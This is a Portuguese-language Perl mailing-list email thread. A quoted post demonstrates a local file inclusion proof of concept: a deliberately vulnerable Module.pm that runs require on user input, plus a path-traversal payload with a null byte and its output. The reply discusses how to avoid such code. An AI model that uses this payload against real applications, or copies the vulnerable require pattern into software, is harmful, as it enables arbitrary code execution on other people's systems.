<div dir="ltr"><div>> <span style="font-family:arial,sans-serif;font-size:13px">mas ficou claro que é possível injetar um 'evil code' num código vulnerável sem muitos problemas.</span></div><div><span style="font-family:arial,sans-serif;font-size:13px"><br>


</span></div><div><font face="arial, sans-serif">Correto. Em um código vulnerável é possível injetar 'evil code' sem maiores problemas. </font><span style="font-family:arial,sans-serif">Isso é um bug que existe no nosso universo, infelizmente :)</span></div>


<div><span style="font-family:arial,sans-serif"><br></span></div><div><span style="font-family:arial,sans-serif">No caso de Perl e principalmente nos casos onde se faz necessária a inclusão e execução de código, nós devemos ficar atentos para não escrever código vulnerável, evitando coisas óbvias como, aplicar 'eval' em strings que venham de fontes não confiáveis, interpolar entradas do usuário, vulgo, dar require em nomes de arquivos que venham de entrada do usuário e coisas do gênero.</span></div>


<div><span style="font-family:arial,sans-serif"><br></span></div><div><span style="font-family:arial,sans-serif">Existem módulos no cpan, especialmente criados para lidar com essas situações, nem sempre da melhor maneira possível.</span></div>


<div><span style="font-family:arial,sans-serif"><br></span></div><div><span style="font-family:arial,sans-serif">No link abaixo, podemos encontrar a ponta do iceberg e começar a conversa:</span></div><div><br>
</div><a href="http://blogs.perl.org/users/michael_g_schwern/2011/10/how-not-to-load-a-module-or-bad-interfaces-make-good-people-do-bad-things.html" target="_blank">http://blogs.perl.org/users/michael_g_schwern/2011/10/how-not-to-load-a-module-or-bad-interfaces-make-good-people-do-bad-things.html</a><br>


<div><br></div><div>[]'s</div><div class="gmail_extra"><br><br><div class="gmail_quote">2013/6/11 Junior Moraes <span dir="ltr"><<a href="mailto:junior@fvox.com.br" target="_blank">junior@fvox.com.br</a>></span><br>


<blockquote class="gmail_quote" style="margin:0 0 0 .8ex;border-left:1px #ccc solid;padding-left:1ex">Hi.<br><br>Estava aqui mexendo com uma aplicação que utiliza o módulo AnyData[1] dentro de um webservice que retorna as informações desejadas. Neste módulo, temos o método adExport() que recebe um parâmetro (que, no caso da aplicação, era recebido via GET) referente ao 'format' e tenta instanciar o módulo.<br>




Fiquei brincando de manipular o path com esse parâmetro, mas a concatenação da string '.pm' dificultava as coisas. Porém, como na exploração de um RFI/LFI (Remote/Local File Inclusion) no PHP, é possível ignorar isso com o bom e velho null byte[2].<br>




<br>Escrevi um exemplo prático:<br><pre style="line-height:normal;text-indent:0px;letter-spacing:normal;text-align:start;font-variant:normal;text-transform:none;font-style:normal;font-weight:normal;word-spacing:0px">$ pwd
/home/fvox/poc

$ cat Module.pm
package Module;

use common::sense;
use Moo;
use Carp;

use vars qw(@ISA @EXPORT);
@ISA = qw(Exporter);
@EXPORT = qw(testing);

sub testing {
    my $plugin = shift;

    my $module = 'Module/' . $plugin . '.pm';
    eval { require $module; };
    croak $@ if $@;

    $module =~ s/\//::/g;
    $module =~ s/\.pm$//gi;
    my $obj = $module->new;
}

1;

$ cat <a href="http://inc.pl" target="_blank">inc.pl</a> 
print "Null Byte injetado com sucesso! :)\n";

$ perl -MModule -E'say testing("../../../../../../../../../home/fvox/poc/<a href="http://inc.pl" target="_blank">inc.pl</a>\00");'
<b>Null Byte injetado com sucesso! :)</b>
Can't locate object method "new" via package "Module::..::..::..::..::..::..::..::..::..::home::fvox::poc::<a href="http://inc.pl" target="_blank">inc.pl</a>" (perhaps you forgot to load "Module::..::..::..::..::..::..::..::..::..::home::fvox::poc::<a href="http://inc.pl" target="_blank">inc.pl</a>"?) at Module.pm line 21.</pre>




<br>Não fiz nenhum experimento em alguma aplicação real, mas ficou claro que é possível injetar um 'evil code' num código vulnerável sem muitos problemas. Suponho que também funcione na função open(), entre outros casos.<br>




Alguém já tinha brincado com isso antes? Hhauhauh<br><br>PS: Desculpem se isso for muuuito antigo. É que só fui dar uma de retardado e brincar com isso em 2013... :P<br><br>[1] <a href="https://metacpan.org/module/AnyData" target="_blank">https://metacpan.org/module/AnyData</a><br clear="all">




[2] <a href="http://en.wikipedia.org/wiki/Null_character" target="_blank">http://en.wikipedia.org/wiki/Null_character</a><span><font color="#888888"><br><br>-- <br><br>====================================<br>
Junior "fvox" Moraes<br>Linux Reg. #557527<br>
junior[at]fvox[dot]com[dot]br<br>
fb[dot]com/juniorfvox<br>twitter[dot]com/fvox<br>====================================
</font></span><br>=begin disclaimer<br>
   Sao Paulo Perl Mongers: <a href="http://sao-paulo.pm.org/" target="_blank">http://sao-paulo.pm.org/</a><br>
 SaoPaulo-pm mailing list: <a href="mailto:SaoPaulo-pm@pm.org" target="_blank">SaoPaulo-pm@pm.org</a><br>
 L<<a href="http://mail.pm.org/mailman/listinfo/saopaulo-pm" target="_blank">http://mail.pm.org/mailman/listinfo/saopaulo-pm</a>><br>
=end disclaimer<br>
<br></blockquote></div><br></div></div>